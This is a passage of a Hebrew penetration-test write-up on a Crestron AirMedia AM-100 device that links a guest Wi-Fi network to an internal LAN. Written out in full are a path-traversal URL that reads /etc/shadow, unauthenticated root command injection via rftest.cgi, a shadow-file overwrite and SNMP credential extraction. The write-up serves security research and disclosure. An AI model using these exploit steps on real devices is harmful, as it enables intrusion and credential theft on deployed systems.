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 בעצם בין שתי רגלייםדילוג רשתות על רגל אחת, 

 פסטרנק דגןו ) נתיבtsifיובל (מאת 

 

 הקדמה

הסאגה הזאת החלה לפני תקופה. באותו זמן חבר ואני התבקשנו להעריך את מצב האבטחה בחברה 

לאחר כמה שעות מעטות מצאנו כמה דרכים לחדור לתוך הרשת ולאחר  אשר מתעסקת במכירות ברשת.

שהיינו עם ישיבה טובה מצאנו כל כך הרבה דרכים אפשריות להתפשטות ואמצעי גילוי כל כך לא מכוונים 

שהאתגר הגדול באמת היה באיזה מהטכניקות להשתמש. בחודשים שלאחר מכן קיבלנו פרויקטים נוספים 

י לגלות שמצב האבטחה לא באמת השתנה מבדיקה לבדיקה. נראה היה שמטרת עם אותו ארגון רק כד

הארגון הינה לאסוף כמה שיותר דוחות בערמה גבוהה ככל האפשר ללא אף התייחסות לאף אחד 

 …מהמצאים. אין ספק שגם לחלככם הייתה תחושה כזאת פעם או פעמיים

 

ינינו עד אותה הפגישה. המקרן בחדר באחת הפגישות שלנו במתחם בחברה שמנו לב לדבר שחמק מעי

הישיבות הקרין עמוד בית של המכשיר עצמו המדריך כיצד להתחבר למכשיר. תגית המכשיר הייתה 

'Crestron ועל המסך הוצג שם המכונה (אשר נבנה משם חדר הישיבות ומיקומו) וכתובת 'IPכתובת ה .-IP 

גע זה היה שמנהל שלנו הקרין מצגת בעזרת את עינינו בר ס). הדבר שתפLANהייתה כתובת פנימית (

החיבור האלחוטי הזה כאשר הוא מחובר לרשת האורחים עם מחשב שאינו מחשב חברה. רשת האורחים 

עם סיסמא נוחה מאוד, שכן היא מיועדת לכל אורח ומועמד שמגיע לחברה. ויחד עם  WPA2הינה רשת 

פנימית  IPשיו מצגת על מה שמתוייג עם כתובת זאת, לא יכלנו להתעלם מהעובדה שמנהל שלנו מקרין עכ

 לחלוטין. 

הינם עם  Crestron-מהירה על המחשב של המנהל שלנו גילינו שזה נכון. המקרן וה netstatלאחר בדיקת 

פנימית והמכונה של המנהל שלנו מחוברת לכתובת פנימית דרך הרשת האלחוטית של  IPכתובת 

ו מהחברה על הנושא והוא הבטיח לנו ששתי הרשתות מופרדות האורחים. אז שאלנו את איש הקשר שלנ

בשלב זה לקחנו מכונה שסופקה לנו לצורך הבדיקות, חיברנו  באופן מלא ומוחלט ברמת התווך הפיזי.

אותה לרשת האלחוטית וניסינו לשלוח פינג אל הכתובת של הרכיב בעל הכתובת הפנימית וראינו שאכן 

 ולקבל תשובה.לים לשלוח את הפינג אנו מסוג
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קיבלנו תשובה  ICMP over Telepathyכאשר חזרנו אל אותו איש קשר ושאלנו כיצד הם הצליחו להעביר 

שפרט לנקודות הללו אין שום חיבור בין הרשתות ושהכל מוגן ומאובטח כראוי.  בשלב זה התעוררה 

 סקרנותנו. 

 
 ראשונית גישה

 ראשוני מחקר

כך מאובטחת הזו שאותה חברה הרגישה -מה היא המערכת הכלכשלב ראשון, מטרתנו הייתה להבין 

מצאנו את  -בטוחה דיה לחבר בין שתי הרשתות. לאחר הסתכלות וחיפוש המחרוזות שהוקרנו על הקיר 

 Presentation"-שסווג כ Embedded". מדובר ברכיב Crestron AM-100"-שם הרכיב, מדובר היה ב

Sharing and Management Solution ." לא הצלחנו להוריד  -ולא משנה כמה ניסינוFirmware  ,של המוצר

או לבצע  Firmware-להשיג את המפרטים הטכניים באינטרנט (מסתבר שכדי להשיג את ה -או לחילופין 

, מבלי לדעת Embeddedעדכון מבלי שתהיה לקוח רשום). אז מה שיש לנו בינתיים זה שמדובר ברכיב 

 טורה או באיזו מערכת הפעלה מדובר.מה הארכיטק Chipset-מה ה

 

, הרציונל מאחורה היה כמובן לאתר את משטח התקיפה nmapאז התחלנו לסרוק את המערכת באמצעות 

שלנו על אותה מערכת. ומכיוון שאנחנו לא מצפים לשום התנגדות מהרכיב או מהרשת, הרשנו לעצמנו 

 )T4(להתפרע 

nmap -sV -T4 -Pn -O {IP} 
 

 שקיבלנו היה:והפלט 

Starting Nmap 7.40 ( https://nmap.org ) at 2018-09-19 10:12 SE Asia 

Standard Time 

Nmap scan report for {IP} 

Host is up (0.000030s latency). 

Not shown: 993 closed ports 

PORT     STATE SERVICE        VERSION 

80/tcp   open  http           lighttpd 1.4.37 

389/tcp  open  ldap? 

443/tcp  open  ssl/http       lighttpd 1.4.37 

515/tcp  open  printer? 

1688/tcp open  nsjtp-data? 

3268/tcp open  globalcatLDAP? 

8080/tcp open  http-proxy? 

[... Trimmed ...] 
 '[א בנספח למצוא ניתן המלאות התוצאות את]

 

התוצאות נראה כי יש משטח תקיפה די רחב, אבל בשלב זה, אנחנו עדיין לא יודעים יותר מדי על על פי 

 Web -רב הפורטים הפתוחים שזיהינו. אז עשינו פעמינו לכיוון שרת ה
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 Web-ה ממשק

מהרכיב עצמו. לצערינו החברה לא  Firmware-השלב הבא היה לראות האם אנחנו יכולים להשיג את ה

גם לאחר שמילאנו את כלל פרטי הרישום. עם זאת, לאחר מספר  Firmware-איפשרה להוריד את ה

 חיפושים בגוגל, הצלחנו להגיע לקישור הבא:

https://p.widencdn.net/fu0pzc/software_airmedia_am-100_1.5.0_am-101_2.6.0_firmware 

 

), ובעזרת Firmware Modification Kit(קיצור של  1FMKנעשתה באמצעות הפרויקט  Firmware-פתיחת ה

 !Binwalk-: הEmbedded-ידידו הטוב ביותר של חוקר ה

 

 Firmware-ה מחקר

שבחרנו  Firmware-, הFirmware-המחקר, עלינו לזהות מספר חלקים מה לפני שמתחילים את תהליך

 היה בגרסה האחרונה שהצלחנו להשיג, והוא:

AM-100_firmware_1.5.0.4_6506508_WM8440.img 

MD5: f73a77af09c1cd17ca568ba3d237c392 

SHA256: 1ef9cee502e8cb43880531adc90faa151552e1f3ce1f8ae7823fe44396321f93 

-Linux-2.6.32.9עבור מערכות  CramFSעליו הראתה לנו שמדובר במערכת קבצים מסוג  Binwalkרצת ה

default ) שרצה על ארכיטקטורתARM (Little Endian 09:22:00 2015-06-18-ב, והיא עודכנה לאחרונה .

 .המלאות ניתן למצוא בנספח ב' Binwalk-את תוצאות ה

 הוא עדיין לא עוזר לנו יותר מדי. אנחנו מעוניינים לקבל מידע פנימיכמובן שהמידע הזה טוב ויפה, אבל 

 הם: FMKים שהצלחנו לחלץ באמצעות -Image-! שלושת הFirmware-יותר על המבנה של ה

-rwxrwxrwx 1 ubuntu ubuntu 1.2K Oct  8 11:11 footer.img 

-rwxrwxrwx 1 ubuntu ubuntu  512 Oct  8 11:11 header.img 

-rwxrwxrwx 1 ubuntu ubuntu  32M Oct  8 11:11 rootfs.img 

, קיבלנו את מערכת ומבנה הקבצים והתיקיות שהחברה התקינה rootfs.imgלאחר חילוץ ופתיחת הקובץ 

 על המקרן, זה מה שקיבלנו:

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 . 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 .. 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 bin 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 dev 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 etc 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 home 

lrwxrwxrwx 1 ubuntu ubuntu    8 Oct  8 11:11 init ->  V??? 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 lib 

lrwxrwxrwx 1 ubuntu ubuntu    8 Oct  8 11:11 linuxrc ->  V??? 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 mnt 

                                                           
 

1 https://github.com/rampageX/firmware-mod-kit/wiki 

https://p.widencdn.net/fu0pzc/software_airmedia_am-100_1.5.0_am-101_2.6.0_firmware
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drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 proc 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 root 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 sbin 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 sys 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 tmp 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 tools 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 usr 

drwxrwxrwx 1 ubuntu ubuntu 4.0K Oct  8 11:11 var 

שהצביעו לשום מקום.  symbolic linkלצערנו, נראה היה כי כל התיקיות ריקות וכי כלל הקבצים הם בעצם 

-של ה Image-לבצע חילוץ ידני! ה -אך לאחר מחשבה נוספת, החלטנו לנסות את האופציה השניה 

Firmware  הואCarmFS אז כדי לעשות לו ,Mount :באופן ידני נריץ את הפקודות הבאות 

mkdir /media/cram 

sudo apt-get install cramfsprogs fusecram 

fusecram AM-100_firmware_1.5.0.4_6506508_WM8440.img /media/cram 

שלא עבדו קודם לכן, כעת  Symbolic Links-ה -כעת אנחנו יכולים לסייר במערכת הקבצים ובאופן טבעי 

 יכובדו על ידי מערכת ההפעלה ולכן יועילו בטובם להראות לנו להיכן הם מצביעים:

drwxr-xr-x 1 1004  234  264 Dec 31  1969 . 

drwxr-xr-x 4 root root 4.0K Oct  8 03:52 .. 

drwxrwxr-x 1 1004  234 2.1K Dec 31  1969 bin 

drwxrwxr-x 1 1004  234 2.1K Dec 31  1969 dev 

drwxrwxr-x 1 1004  234 1.7K Dec 31  1969 etc 

drwxrwxr-x 1 1004  234   52 Dec 31  1969 home 

lrwxrwxrwx 1 1004  234    9 Dec 31  1969 init -> sbin/init 

drwxrwxr-x 1 1004  234 3.3K Dec 31  1969 lib 

lrwxrwxrwx 1 1004  234   11 Dec 31  1969 linuxrc -> bin/busybox 

drwxrwxr-x 1 1004  234  616 Dec 31  1969 mnt 

drwxrwxr-x 1 1004  234    0 Dec 31  1969 proc 

drwxrwxr-x 1 1004  234    0 Dec 31  1969 root 

drwxrwxr-x 1 1004  234 1.3K Dec 31  1969 sbin 

drwxrwxr-x 1 1004  234    0 Dec 31  1969 sys 

drwxrwxr-x 1 1004  234    0 Dec 31  1969 tmp 

drwxrwxr-x 1 1004  234  108 Dec 31  1969 tools 

drwxrwxr-x 1 1004  234   68 Dec 31  1969 usr 

drwxrwxr-x 1 1004  234  120 Dec 31  1969 var 

מפנים  Symbolic Links-הקבצים שאליהם הבשלב זה ניסינו לראות האם אנחנו באמת יכולים לקרוא את 

 ששוב פעם מדובר בחזיון תעתועים, אז הרצנו:

root@hk-elbn-ls:/media/cram# cat etc/passwd 

root:x:0:0:root:/home:/bin/sh 

abarco:x:1000:0:Awind-Barco User,,,:/home:/bin/sh 

root@hk-elbn-ls:/media/cram# cat etc/shadow 

root:$6$SajzjC2h$heYvG6vW2IvRbxSXcSDqPWHC90FI0lZMrB2QZZHr00OKfmFBUBjt/aG

XgT9vjRkDKF//RYMXcGfV5WeGy1erg1:0:0:99999:7::: 

בשלב זה סיימנו בעצם לבצע את שלב חילוץ הקבצים ואנחנו יכולים להתחיל לשחק עם המערכת "במצב 

 . אך זאת בהחלט התחלה טובה למחקר.נקי". כמובן שהמערכת החיה תתנהג שונה ממה שיש בידינו
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 חולשות צייד

File Inclusion 

לאחר הפרישה הפעם ניתן לראות שמערכת הקבצים מופתה כראוי וניתן לנווט דרך התיקיות והקבצים 

 מצאנו את הכתובת הבאה: Web-השונים. בגישה הקודמת לשרת ה

http://{IP}/cgi-bin/login.cgi?lang=en&src=AwLoginDownload.html 

ולחצנו  LFI-, בתקווה שהמשתנה אכן פגיע לWEB-אז, כפי שמתבקש, נשאנו תפילות לאלוהי חולשות ה

 אנטר:

http://{IP}/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../etc/shadow 

 LFI-משמעות הדבר היא שעמוד לא רק פגיע לחזר אלינו במלוא הדרו,  shadow-התוכן של קובץ ה -ואכן 

 בשום דרך! chrootedוהוא אינו  rootרץ בהרשאות  HTTP-אלא ששרת ה

, root-חולשה קריטית במערכת. מאחר שאנחנו רצים כ -נקודה זו הובילה אותנו לממצא הראשון שלנו 

ום מנגנון הזדהות. עם זאת, מבלי הצורך לעבור בש -אנחנו יכולים לטעון כל קובץ במערכת הקבצים, וזאת 

זה עדיין לא מאפשר לנו לחבר את שתי הרשתות. בשביל לעשות זאת, אנחנו צריכים פרימיטיב של הרצת 

 קוד על הרכיב.

 

 פעילים חיבורים אחר צייד - בונוס סיבוב

 עד כמה שחיפוש אחר שירותים המאזינים על ממשקי רשת כאלה ואחרים הוא בדרך כלל עניין טריוויאלי

הדבר אינו כל כך ברור ״ישר״ כאשר ניתנת רק אפשרות קריאת  root-בעת מצב בו ניתן להריץ פקודות כ

 : proc/net/tcp/ קבצים. השלב הראשון היה השגת הקובץ

https://{IP}/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../proc/net/tcp 

בלים אינה ניתנת לקריאה בקלות. כל הנתונים שם אך הסדר קצת בעייתי. יחד עם זאת, התוצאה שאנו מק

אשר אמור לפרסר את הקובץ  Pythonאשר בה היה סקריפט   2לאחר חיפוש קצר מצאנו רשומה בבלוג

 וכתוצר לספק לנו פורמט שאנו מסוגלים לקרוא. לאחר ההרצה קיבלנו את התוצאה הבאה:

['0:', 0, '0.0.0.0:49153', '0.0.0.0:0', 'LISTEN', None, None] 

['1:', 0, '0.0.0.0:515', '0.0.0.0:0', 'LISTEN', None, None] 

['2:', 0, '0.0.0.0:3268', '0.0.0.0:0', 'LISTEN', None, None] 

 [... Trimmed ...] 

 הבאה: nmap-להריץ כמה רגאקסים זריזים ולנסח את פקודת ה CyberChef-בשלב הבא השתמשנו ב

nmap -p 

49153,515,3268,389,62828,8080,80,7000,1688,31865,1689,443,7100,19996,710

2,5566 -T4 -A -v 10.120.198.27 

                                                           
 

2
 http://voorloopnul.com/blog/a-python-netstat-in-less-than-100-lines-of-code/ 
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 SSL תעבורת פענוח - בונוס סיבוב

/, etc/lighthttpd/server.pemבנתיב:  pemאחד מהקבצים שקפץ לנו לעיניים בעת המחקר, היה קובץ 

 על הרכיב. web-הוא התהליך של שרת ה lighttpd-הקבצים, אנחנו כבר יודעים שומהיכרותנו עם מערכת 

וראינו  Certificate-מהסתכלות על הקובץ ראינו כי הוא כולל מפתח פרטי ומפתח ציבורי. הסתכלנו על ה 

 ":www.barco.comעבור " Self Signed Certificateשמדובר 

 

 וקיבלנו התאמה: -לבין הקובץ שהשגנו מהשרת  Certificate-השוואה בין ה
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אל מול  SSL, לייצר תעבורת Wireshark-עם המפתח הפרטי ל Certificate-השלב הבא היה לטעון את ה

פאסיבית.  MITMהשרת ולבדוק אם אנחנו יכול לפענח אותה באמצעות המפתח, ובכך לדמות מתקפת 

, מה שמונע מאיתנו ECDHE-ראינו שנעשה שימוש ב -ניסיון זה כשל, ולאחר בדיקה מעט יותר מעמיקה 

עלינו לבצע מתקפת  -את האפשרות של לפענח את התעבורה באופן פאסיבי. וכדי להצליח לעשות זאת 

MITM .אקטיבית 

 

 

 לעומק עוד חופרים

פקודה, הרגיש שלנו שהדבר הנכון ביותר לעשות הוא לחפור מאחר שעדיין לא הצלחנו להשיג הרצת 

/ של המשתמש שמריץ את home-לעומק במערכת הקבצים. המקום הראשון שבו בדקנו הייתה תיקיית ה

. מהעובדה שהחולשה הקודמת לא הייתה מורכבת מדי, ההנחה שלנו הייתה שרמת Web-שרת ה

 היא די גבוהה. -משהו בסיסי נוסף  האבטחה הכללית אינה גבוהה ולכן הסבירות שנמצא

 , ובה מצאנו את הצבעה לנתיב:Web-/" מצאנו את קונפיגורציית שרת הhome/boa/boa.confבנתיב "

CGIPath /home/boa/cgi-bin: /home/boa/rdcgi 

/", עניין אותנו tmp/rdcgi"-שאותם השרת מריץ. הנתיב הנ"ל היה לינק ל CGI-מהנתיב הנ"ל נטענים קבי ה

 להשיג סקופ מלא של כלל פונקציונליות השרת.
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ובו הוא מספר נתיבים  libAwCgi.soהמשך מחקר בכיוון הזה הוביל אותנו בסופו של דבר לקובץ בשם 

 מעניינים נוספים:

 

שם מצאנו שהתבנית בתמונה למעלה היא בעצם רשימת הקבצים שבהם מאוחסנים המחרוזות שמייצגות 

 lighttpd" עושה שימוש השרת varSEIDשי הניהול. שם למדנו שבמשתנה "ים של משתמ-sessions-את ה

או לא. בנוסף, שמנו לב לפונקציה ספציפית בשם  Logged inמסויים הוא  sessionכדי להבין האם 

"AwGetCfg" הפונקציה הזו ניגשת לאיזור בזיכרון, אחרי שמיפינו אותו לדיסק בנתיב ."mnt/osdimg ,"/

 .flash-קונפיגורציה מהוכך היא ניגשת ל

/". משם etc/content/AwDefault.xmlאת חלק מקונפיגורציות ברירת המחדל אפשר לראות בנתיב: "

נתיב לעמוד שכנראה נועד היה לצורכי דיבוג, והוא  -הצלחנו לחלץ נתיב לקובץ שהיה נראה סופר מעניין 

 נשאר שם עם הרשאות לכולם.

https://{IP}/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html 
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שמבצעת פייפינג ( | ) לשורת פקודה. לאחר קצת משחקים נראה שאין  POSTהטופס הזה מייצר בקשת 

/" ומורץ tmp/RFTEST"-שום פילטור ושהפרמטר עובר ישירות להרצה כפקודה (בדיעבד, נכתב לקובץ ב

 שמאפשר הרצת קוד בסגנון טרמינל.  4 מנספח. משם נכתב הסקריפט bashבעזרת 

[ls /] bin 

dev 

etc 

home 

init 

lib 

linuxrc 

lost+found 

mnt 

proc 

root 

sbin 

sys 

tmp 

tools 

usr 

var 

[whoami] root 

 rootבשלב זה אנו יודעים כי המערכת פגיעה למתקפה שמאפשרת לנו להריץ פקודות מערכת בהרשאות 

אחרים, כנראה שהיינו מרוצים מהתוצאה  Embeddedמבלי הצורך בלעבור את שלב ההזדהות. במחקרי 
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אלא  -ומפסיקים את המחקר כאן. אך עם זאת, מטרתנו היא לא רק להצליח להריץ קוד בהרשאות גבוהות 

 לראות האם ניתן לנצל את הרכיב הזה לטובת דילוג בין שתי הרשתות.

על רכיב עם שתי רגליים, זה די מספיק כדי להוכיח שאתה מסוגל לדלג בין  rootבאופן תיאורטי, כשיש לך 

הרשתות, אך הרשנו את הצורך להראות באופן פרקטי שזה אפשרי. ולכן, החלק הזה של המחקר התמקד 

תיאוריה לפרקטיקה. במהלך ההרצה נתקלנו בכך שהטופס מחזיר אך ורק את התוצרים בלהפוך את ה

. לכן הוספנו לפקודות שבהן אנחנו מצפים לקבל מידע stderrולא את מה שעובר אל  stdoutשהולכים אל 

לתוך הקובץ  stderrוגם את  stdout" אשר תייצא גם את  &/ >tmp/opאת הסימול " stdoutלמקום שאינו 

 בפקודה לאחר מכן.  catנו נבצע וא

 על הרכיב, ואילו פיצ'רים קומפלו אליו: netcatהפקודות הבאות הראו לנו שיש 

[which nc] /usr/bin/nc 

[/usr/bin/nc  >> /tmp/file.txt 2>&1] 

[cat /tmp/file.txt] BusyBox v1.18.4 (2014-05-21 11:31:55 CST) multi-call 

binary.                  

                                                                              

Usage: nc [-iN] [-wN] [-l] [-p PORT] [-f FILE|IPADDR PORT] [-e PROG]          

                                                                              

Open a pipe to IP:PORT or FILE                                                

                                                                              

Options:                                                                      

        -e PROG Run PROG after connect                                        

        -l      Listen mode, for inbound connects                             

                (use -l twice with -e for persistent server)                  

        -p PORT Local port                                                    

        -w SEC  Timeout for connect                                           

        -i SEC  Delay interval for lines sent                                 

        -f FILE Use file (ala /dev/ttyS0) instead of network                  

פועל על הרכיב הנתקף, וזאת בשורה אפילו טובה  Netcatזאת בהחלט התחלה טובה לדעת שיש לנו 

קומפלה פנימה, קלאסי כשאתה מעוניין  execהאופציה  -" (משמע safe nectcatיותר לראות שהוא לא "

על הרכיב, אך עם זאת, במהלך החיפוש מצאנו  SSHאינטרקטיבי). לא הצלחנו למצוא לקוח  Shellלהשיג 

 ) והפעלתו באמצעות:Embedded(די נפוץ ברכיבי  dropbearמסוג  SSHשרת 

/etc/init.d/S41dropbear 

 עבדה כמצופה.

שהבאנו לא נשברו בצורה מהירה ע"י הניחושים שלנו (מאחר שלא זיהינו  Shadow-מאחר שסיסמאות ה

לא שהשקענו בזה יותר מדי מחשבה). גישה פרקטית  -מופעלים כברירת מחדל  Telnetאו  SSHששרתי 

 יותר הייתה להוסיף שורות נוספות לקובץ, שנכון לעכשיו כלל רק שורה אחת:

root: 

$6$SajzjC2h$heYvG6vW2IvRbxSXcSDqPWHC90FI0lZMrB2QZZHr00OKfmFBUBjt/aGXgT9vjRkDKF//RYMXcGfV5W

eGy1erg1:0:0:99999:7::: 
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 " וניסינו להוסיף אותה לקובץ:123456עבור המחרוזת " hashאז יצרנו 

cat /etc/shadow 

echo 

\"root:$6$NvzArcCz$UC3.1PITltIQgVPYbK4hlh9clIx1llA0.ti6XyiE4/krRzrB59ahHICMHdheWB5g3gRtTt.

RrM77v9tnOea2e/:0:0:99999:7:::\" > /etc/shadow 

cat /etc/shadow 

 והפלט:

[cat /etc/shadow] root: 

$6$SajzjC2h$heYvG6vW2IvRbxSXcSDqPWHC90FI0lZMrB2QZZHr00OKfmFBUBjt/aGXgT9vjRkDKF//RYMXcGfV5W

eGy1erg1:0:0:99999:7::: 

[echo 

"root:$6$NvzArcCz$UC3.1PITltIQgVPYbK4hlh9clIx1llA0.ti6XyiE4/krRzrB59ahHICMHdheWB5g3gRtTt.R

rM77v9tnOea2e/:0:0:99999:7:::" > /etc/shadow] 

[cat /etc/shadow] root: 

$6$SajzjC2h$heYvG6vW2IvRbxSXcSDqPWHC90FI0lZMrB2QZZHr00OKfmFBUBjt/aGXgT9vjRkDKF//RYMXcGfV5W

eGy1erg1:0:0:99999:7::: 

ולכן זה  rootכלל לא השתנה. אנחנו רצים בהרשאות של  shadow-נכשלנו. קובץ ה -וכמו שניתן לראות 

נראה מעט מוזר. מחקר מעט יותר עמוק ומעקב אחר קבצי הלוג והודעות השגיאה וביחוד הרצת הפקודה 

"mount:עזרה לנו להביא את המצב " 

[mount] rootfs on / type rootfs (rw) 

/dev/root on /mnt/.cramfs type cramfs (ro,relatime) 

/dev/mmcblk1p2 on / type ext2 (ro,noatime,errors=continue) 

proc on /proc type proc (rw,relatime) 

ramfs on /tmp type ramfs (rw,relatime) 

sysfs on /sys type sysfs (rw,relatime) 

usbfs on /proc/bus/usb type usbfs (rw,relatime) 

mdev on /dev type tmpfs (rw,relatime) 

devpts on /dev/pts type devpts (rw,relatime,mode=600) 

/dev/mmcblk1p3 on /mnt/mmcblk1p3 type vfat 

(ro,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

/dev/mmcblk1p4 on /tmp/usb/mmcblk1p4 type vfat 

(rw,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

 

 מחדש:מערכת הקבצים נטענה עם הרשאות קריאה בלבד! ניסינו לטעון אותה  -אם תשימו לב 

c:\users\xxx\appdata\local\programs\python\python37\python.exe 

execute.py 

[mount] rootfs on / type rootfs (rw) 

/dev/root on /mnt/.cramfs type cramfs (ro,relatime) 

/dev/mmcblk1p2 on / type ext2 (rw,noatime,errors=continue) 

proc on /proc type proc (rw,relatime) 

ramfs on /tmp type ramfs (rw,relatime) 

sysfs on /sys type sysfs (rw,relatime) 

usbfs on /proc/bus/usb type usbfs (rw,relatime) 

mdev on /dev type tmpfs (rw,relatime) 

devpts on /dev/pts type devpts (rw,relatime,mode=600) 

/dev/mmcblk1p3 on /mnt/mmcblk1p3 type vfat 

(ro,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

/dev/mmcblk1p4 on /tmp/usb/mmcblk1p4 type vfat 

(rw,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

[mount -o remount,rw /dev/mmcblk1p2 /] 

[mount] rootfs on / type rootfs (rw) 
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/dev/root on /mnt/.cramfs type cramfs (ro,relatime) 

/dev/mmcblk1p2 on / type ext2 (rw,relatime,errors=continue) 

proc on /proc type proc (rw,relatime) 

ramfs on /tmp type ramfs (rw,relatime) 

sysfs on /sys type sysfs (rw,relatime) 

usbfs on /proc/bus/usb type usbfs (rw,relatime) 

mdev on /dev type tmpfs (rw,relatime) 

devpts on /dev/pts type devpts (rw,relatime,mode=600) 

/dev/mmcblk1p3 on /mnt/mmcblk1p3 type vfat 

(ro,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

/dev/mmcblk1p4 on /tmp/usb/mmcblk1p4 type vfat 

(rw,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-

1,shortname=mixed,errors=remount-ro) 

"),  ניסינו לדרוס שוב ro" ולא רק "rwונראה שהתהליך עבר בהצלחה (שימו לב שכעת היא בהרשאות "

 :shadow-פעם את קובץ ה

[cat /etc/shadow] root: 

$6$SajzjC2h$heYvG6vW2IvRbxSXcSDqPWHC90FI0lZMrB2QZZHr00OKfmFBUBjt/aGXgT9vjRkDKF//RYMXcGfV5W

eGy1erg1:0:0:99999:7::: 

[echo 

"root:$6$NvzArcCz$UC3.1PITltIQgVPYbK4hlh9clIx1llA0.ti6XyiE4/krRzrB59ahHICMHdheWB5g3gRtTt.R

rM77v9tnOea2e/:0:0:99999:7:::" > /etc/shadow] 

[cat /etc/shadow] root: 

.1PITltIQgVPYbK4hlh9clIx1llA0.ti6XyiE4/krRzrB59ahHICMHdheWB5g3gRtTt.RrM77v9tnOea2e/:0:0:99

999:7::: 

אך נראה שהוא לא היה מוכן להכניס אותנו עם  - dropbear-ונראה שהצלחנו. הפעלנו מחדש את שרת ה

 .netcatבאמצעות  Reverse Shellוהרצנו  פרטי ההזדהות החדשים. החלטנו להפסיק לבזבז את הזמן,

 Web-ה לממשק Admin הרשאות השגת - בונוס סיבוב

/ היא תיקיה מרכזית ולא מעט אפליקציות tmpלאחר מעט שוטטות במערכת הקבצים, שמנו לב שהתיקיה 

עושות בה שימוש לטובת שמירת מידע זמני. הצלחנו לזהות בה לא מעט קבצים עם מידע שימושי רב. 

לתהליכי הריצה של התוכנה הראשית  state information/ אשר מחזיק tmp/scfgdndfלדוגמא, הקובץ 

תוכנות נוספות, כדוגמת אלה שאחראיות על ניהול  ואשר גם אליו ממופה הזכרון הראשי. Crestron-של ה

 שונים.  state-filesהמקרן, ההצגה דרך הרשת, קונפיגורציות של שירותים שונים ועוד כולם נמצאים בתוך 

 / תחזיר:tmp/scfgdndfלדוגמא על הקובץ  stringsהפקודה 

[strings /tmp/scfgdndf] WPS820 100111101110001         

Crestron AirMedia                                      

WiPG1K5s                                               

0000                                                   

#FFFFFF                                                

RJJ7-S5                                               

default                                                

AM-100                                                 

user                                                   

trainer                                                

admin                                                  

1920x1080-Projector-MRDNOTE.jpg                        

CONTOSOprivate555                                        

user                                                   
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authpass                                               

privpass                                               

CONTOSOpublic555                                         

GMT-8_CH                                               

0.0.0.0                                                

moderator                                              

C0nToS0123!                                              

של המערכת.  Web-המחרוזות כמובן שונו אך בתור דוגמא, המחרוזת האחרונה הינה הסיסמא לממשק ה

של  private community string-וה public community string-הינן ה 555-שתי המחרוזות המסתיימות ב

-שמכיל את המיפויים של שירות ה MIB. לאחר הפרישה של הקושחה המקורית מצאנו קובץ SNMP-ה

SNMP) לאחר טעינה שלו ניתן לשים לב לכמה מפתחות מעניינים .OIDs:( 

 1.3.6.1.4.1.3212.100.3.2.7.4 - מרחוק להקרנה הספרות 4 בעל הקוד את מספק . 

 1.3.6.1.4.1.3212.100.3.2.9.5 - דרך קושחה לעדכון בולאני FTP. 

 1.3.6.1.4.1.3212.100.3.2.9.1 - ה כתובת-URL ה שרת על המצביעה-FTP ,לשדרג הקובץ ושם נתיב 

 . הקושחה את ממנו

 : SNMPWalk-לאחר שימוש ב

C:\Users\xxxx                                                                                                          

? SnmpWalk.exe -r:{IP} -c:"CONTOSOprivate555" -

os:".1.3.6.1.4.1.3212.100.3.2.7.4" -op:".1.3.6.1.4.1.3212.100.3.2. 

7.5"                                                                                                                     

SnmpWalk v1.01 - Copyright (C) 2009 SnmpSoft Company                                                                     

[ More useful network tools on http://www.snmpsoft.com ]                                                                 

                                                                                                                         

OID=.1.3.6.1.4.1.3212.100.3.2.7.4.0, Type=OctetString, Value=3801                                                        

Total: 1 

 הינו הקוד הנדרש בכדי לקבל גישה ולהצטרף לשיחות הוידאו ולהציג על המקרן.  3801הקוד 
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 הרשתות גישור - תקיפה לאחר

גבוהות על המקרן. אך עם זאת, יש עוד מספר בנקודה זו, הצלחנו להשיג יכולת הרצת קוד בהרשאות 

אתגרים שעומדים בפנינו על מנת לכבוש את המטרה שלנו. והחלק העיקרי בפרוייקט הזה היה לא 

 אלא להצליח להוכיח שאפשר לגשר בין שתי הרשתות. -המחקר 

 

 הרשת גישת אומדן

 

לרשת, היא יכולה להיות סגורה בשלב זה אנחנו צריכים להבין בדיוק איך נראית החיבוריות של הרכיב 

מה שיגרום לכך שכל המחקר שלנו יילך לפח. על מנת לבחון את המצב  - Firewall-לחלוטין ברמת ה

 :ICMP-/ ו DNSהרצנו מספר פקודות לבדיקת חיבוריות 

commands = ["dig CONTOSO.local", 'nslookup CONTOSO.local', 'ping -c4 

CONTOSO.local'] 

 הפלט הבא: קיבלנו את

[dig CONTOSO.local] 

nslookup CONTOSO.local]  

Address 1: 198.168.0.123 cont3001.CONTOSO.local 

Name:      CONTOSO.local 

Address 1: 198.168.0.123 cont3001.CONTOSO.local 

Address 2: 198.168.0.123 cont1001.CONTOSO.local 

Address 3: 198.168.0.15 cont1002.CONTOSO.local 

Address 4: 198.168.0.15 cont3002.CONTOSO.local 

